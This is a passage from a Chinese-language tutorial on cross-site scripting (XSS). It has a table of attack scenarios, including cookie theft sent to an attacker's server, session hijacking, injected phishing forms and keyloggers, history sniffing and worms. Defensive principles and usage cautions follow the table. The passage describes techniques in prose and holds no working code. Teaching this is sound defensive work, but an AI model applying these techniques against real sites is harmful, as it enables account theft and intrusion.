利用场景 | 核心目标 | 技术原理 | 典型危害 |
---|---|---|---|
Cookie 窃取 | 获取用户身份凭证 | 注入代码读取 document.cookie 并发送到攻击者服务器 | 冒充用户登录,窃取个人信息 |
会话劫持 | 控制用户活跃会话 | 利用 SessionID 冒用会话,执行高权限操作 | 添加管理员账号、篡改业务数据 |
网络钓鱼 | 欺骗用户泄露敏感信息 | 在真实页面中嵌入钓鱼表单、键盘记录脚本 | 窃取账号密码、银行卡信息 |
历史记录窃取 | 分析用户行为偏好 | 利用 CSS 伪类和 getComputedStyle () 检测访问记录 | 掌握用户隐私(如是否访问网银、医疗网站) |
客户端信息刺探 | 收集用户网络环境情报 | 端口扫描、IP 查询,为后续攻击做准备 | 定位内网服务器、发起精准诈骗 |
网页挂马 / XSS 蠕虫 | 破坏客户端安全 / 大规模传播 | 加载木马程序、自动复制传播恶意代码 | 感染病毒、勒索数据、网站服务瘫痪 |
核心防御思路:所有 XSS 攻击的起点都是 “代码注入”,因此需从 “输入过滤”(阻止恶意代码注入)和 “输出编码”(让注入的代码无法执行)两个维度构建防御体系,具体策略将在后续章节详细讲解。
第二章 注意事项
- 本章所有代码示例均为 “攻击原理演示”,仅用于学习和防御测试,严禁用于未授权的网络攻击,否则需承担法律责任;
- 现代浏览器和 Web 框架已内置部分防御机制(如 Chrome 的 XSS Auditor、React 的自动编码),但不能完全依赖,需结合业务场景补充自定义防御;
- 存储型 XSS 的危害远大于反射型 XSS(可长期存在、自动传播),需重点关注用户可编辑的内容(留言板、评论区、个人资料);
- 防御 XSS 需 “全链路覆盖”,从前端输入校验、后端逻辑处理到页面渲染输出,每个环节都需考虑安全风险,避免单点防御失效。